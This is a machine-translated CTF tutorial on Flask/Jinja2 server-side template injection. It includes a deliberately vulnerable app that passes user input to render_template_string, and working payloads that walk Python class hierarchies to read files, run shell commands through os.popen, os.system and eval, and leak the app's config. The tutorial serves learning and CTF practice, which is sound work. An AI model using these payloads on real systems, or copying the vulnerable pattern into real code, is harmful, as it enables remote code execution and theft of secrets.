当前位置:网站首页>CTF_ Web: Learn flask template injection (SSTI) from 0
CTF_ Web: Learn flask template injection (SSTI) from 0
2022-06-25 04:31:00 【AFCC_】
0x01 Preface
Recently, I found that the problems injected by the server-side template are also common in the process of question brushing , These injection topics are similar , The difference lies in the different frameworks 、 Different filtering rules may be required for the final payload Dissimilarity , This article will be Flask As an example, learn about template injection , It is also a record of your own learning .
0x02 Flask brief introduction
Flask It's a Python Compiling Web Microframets , Let's use Python Language quickly realizes a website or Web service . The advantage is that the development is simple , Less code , A lot of work has been implemented in the framework . He and Django differ Django It's an all-around framework , Usually used to write large websites .
and jinjia2、template、Mako And so on are engines that provide functional support for the framework , Each has its own advantages and disadvantages , It is not our main learning content . But we need to know Flask The default engine used is jinjia2, This article will also mainly analyze jinjia2 Injection problem in .
First configuration flask And jinjia2 Engine environment :
pip3 install flask
pip3 install jinjia2
Use this time python -c "import flask" Echo no error message , Prove that the required environment has been installed , Here's a simple example flask Start with examples .
0x03 ordinary Flask Example
#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__) # establish FLask class
@app.route("/") # Set the default route
def index(): # Default view function , Binding to routing , Used to handle user access to websites and directories / The case when
name = request.args.get('name', 'guest')# The accepted parameter name is name Parameters passed in
html = '''
<h3>your input %s</h3>
'''%name # Set up a template html, take name The value of %s Output
return render_template_string(html) # take html Render as a string template
# Corresponding , When html When it's a file , Use render_template Function to render a specified file
if __name__=='__main__': # When starting as the master file
app.run(debug = True) # With debug mode
Explain by commenting on the above simple example , It can be seen that , A complete and simple Flask frame , By one or more routes (route)、 The bound view function consists of , The view function is used to process the route accessed by the user , Including receiving parameters 、 Create a template 、 Rendering , Operation, etc. , For us , The problem is that render There is no restriction and filtering of user input in the rendering process , Cause malicious code to be injected , Executed the code entered by the user .
When you need to constantly change your code , Recommended Opening debug Pattern , Otherwise, you need to restart each modification py file , More trouble , start-up debug The pattern uses the following statement .
app.debug = True
perhaps
app.run(debug=True)
After the above example runs , Will be in localhost:5000 Return to the default page , As shown in the figure :

When the parameter is passed in name when , Will be Template After creating the template, render the content displayed for the page .
For example, incoming name=AFCC_
Now we'll talk about jinjia2 The syntax in the engine , And describe the harm that will be caused if the user input is not restricted .
0x04 jinjia2 Engine injection testing and common payload
stay jinjia2 In the engine :
{
{ ... }}: Load a variable , When the template is rendered , The value represented by this variable will be replaced by the parameter with the same name passed in .
{% ... %}: Load a control statement .
{# ... #}: Load a comment , This intermediate value will be ignored when rendering the template
The most common test we use is { {}}, Test whether the values in curly braces are controllable and rendered by the template .
for example { {7*7}} or { {7*'7'}}, The returns are :

This shows that the user is { {}} The input in is treated by the engine as a new variable for rendering , At this point, the code execution is satisfied 、 Input controllable basic conditions .
First, let's take a look at some important classes and attributes in the template , To facilitate subsequent calls to the specified sensitive module .
First of all
__class__ Returns the object to which the type belongs
__mro__ Returns a tuple containing the base class inherited by the object , Method parses in the order of tuples , So this right here is class The class of the returned object .
__base__ Returns the base class inherited by the object , So this right here is class The class of the returned object .
__subclasses__ Returns all subclasses in the base class , Each new class retains references to subclasses , This method returns a list of references that are still available in a class
__globals__ Reference to the dictionary containing the global variables of the function , includes
get_flashed_messages() Back in the Flask Pass through flash() List of incoming flash messages . Add a message represented by a string object to a message queue , And then by calling get_flashed_messages() Method take out ( Flash messages can only be retrieved once , The flash information will be cleared after it is removed ).
Let's test the returned content one by one .
First of all __class__, Here we use an empty string to do the content '', Pass in { {''.__class__}}
Returned a string object , Then use __mro__ or __base__ Get the base class of the string object .
It can be seen here __base__ Returns the direct inheritance class of the current class , and __mro__ Returns the tuple inherited by the current class , Contains multiple classes .
So we choose the direct inheritance class as object The object of , Use { {[].__class__.__base__}}, This will return directly to object.
We select from multiple base classes object class , You can see that there are many subclasses in the base class .
What we want to use , There are several utilization points as follows :
One is file Module read function , Used to read various files , Sensitive information, etc . But in
Two is warnings.catch_warnings( You need to import os modular )、socket._socketobject( You need to import os modular )、site._Printer、site.Quitter And other modules os, adopt os Module we can do system Carry out orders (system Execution successful return 0, Will not be displayed on the page .)、popen Pipe read file 、listdir Column directory and other operations .
The third is get_flashed_messages() Get flash information
1.file modular
Find... By index file modular , Use read Function to read files .
{
{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}

2.os modular


there [60] Namely warnings.catch_warnings[133] Namely socket._socketobject, You can see inside os None of them have been imported .
Use it here __builtins__ Medium eval Function import os Module to execute type commands .
{
{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
stay Linux Back in (Linux in 157 yes warnings.catch_warnings)

By looking for , built-in os The following two modules can be used directly . [72]site._Printer[77]site.Quitter
Use here os.system Carry out orders .
{
{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}
Browser return 0, On behalf of successful execution , However, you can see the execution results in the debugging information 

Of course, differences in the environment will also make the index values different , So we need a script to help us determine the index value of the current environment .
Of course, the most convenient way is to use it directly os Module to execute commands .
Here, all the obtained subclasses are assigned to list, Find the required module after processing .
( Script from Second calculation i)
def find():
list = ""
list = list.replace('\'','')
list = list.replace('<','')
list = list.replace('>','')
list = list.replace('class ','')
list = list.replace('enum ','')
list = list.replace('type ','')
list = list.replace(' ','')
list = list.split(',')
print(list)
className = 'warnings.catch_warnings' # The name of the module to be searched
num = list.index(className)
print(num) # Returns the index
if __name__ == '__main__':
find()
3.get_flashed_messages() Get flash information
Use { {get_flashed_messages.__globals__}} Get global information , You can see a lot of sensitive information here , But the function name also tells us that we can only get information , It is not possible to use and execute modules as above , Here stands for this app The value of itself is current_app
Use config Get configuration information , Of course, here it is config You can get it directly , You can use this method when you are filtered at certain times .( Attack and defend the world Web_shrine)
get_flashed_messages.__globals__['current_app'].config

0x05 Reference article
SSTI Template Injection
python Learning notes ( understand Flask、jinjia2 engine )
Flask Template Injection
Flask-SSTI Precautions and some POC
边栏推荐
- PHP extracts and analyzes table contents, and collects bidding information
- "How to carry out industrial positioning" in local / Park industrial planning
- Error 1062 is reported during MySQL insertion, but I do not have this field.
- 数字时代的“文艺复兴”?起底数字藏品,让人欢喜让人愁
- SQL injection details
- Laravel document sorting 1. Installation and Preliminary Configuration
- CTF_ Web:php weak type bypass and MD5 collision
- 什么是存储引擎以及MySQL常见的三种数据库存储引擎
- 彻底理解数据库事务
- 关于TCP连接四次握手(或者叫四次挥手)的详细总结
猜你喜欢
![Leetcode points to the leetcode road of offering II 091 house painting [dynamic planning] heroding](/img/ad/69fce7cf064479a0ddd477fb935de2.png)
Leetcode points to the leetcode road of offering II 091 house painting [dynamic planning] heroding

NFT insider 63: the sandbox reached a cooperation with Time magazine, and YGG established Spain's subdao

UCLA | generative pre training for black box optimization

95% of programmers fish here

Is opencv open source?

Finereport (sail soft) handling the problem that the histogram data label is blocked

5 key indicators of SEO: ranking + traffic + session + length of stay + bounce rate
![L'épée leetcode fait référence au chemin leetcode de l'offre II 091 pour peindre la maison [planification dynamique] heroding](/img/ad/69fce7cf064479a0ddd477fb935de2.png)
L'épée leetcode fait référence au chemin leetcode de l'offre II 091 pour peindre la maison [planification dynamique] heroding

Mathematical analysis_ Notes_ Chapter 3: limits

"How to carry out industrial positioning" in local / Park industrial planning
随机推荐
关于TCP连接三次握手的详细总结
Laravel document sorting 8. Middleware
无法安装redis接口
升级cmake
GBASE 8s的数据视图
GBASE 8s的触发器
SQL, CTE, flg case problems
GBase 8s的封锁技术的基本介绍
How to install opencv? Opencv download installation tutorial
讲座记录《捷联惯导解算的历史及发展》
Anaconda安装+TensorFlow安装+Keras安装+numpy安装(包含镜像和版本信息兼容问题)
Easyrecovery15 very easy to use computer data recovery software
Finereport (sail soft) handling the problem that the histogram data label is blocked
PostgreSQL数据库WAL——RM_HEAP_ID日志记录动作
sql_ mode=only_ full_ group_ By's pit
Uniapp makes mobile app programs, using uni Choosevideo record video, video playback is fuzzy, and the resolution is low
A-table mouse over the display hand, the current line can be clicked
@Requestbody solution get parameter is null
Flutter Builder & futurebuilder components
Upgrade cmake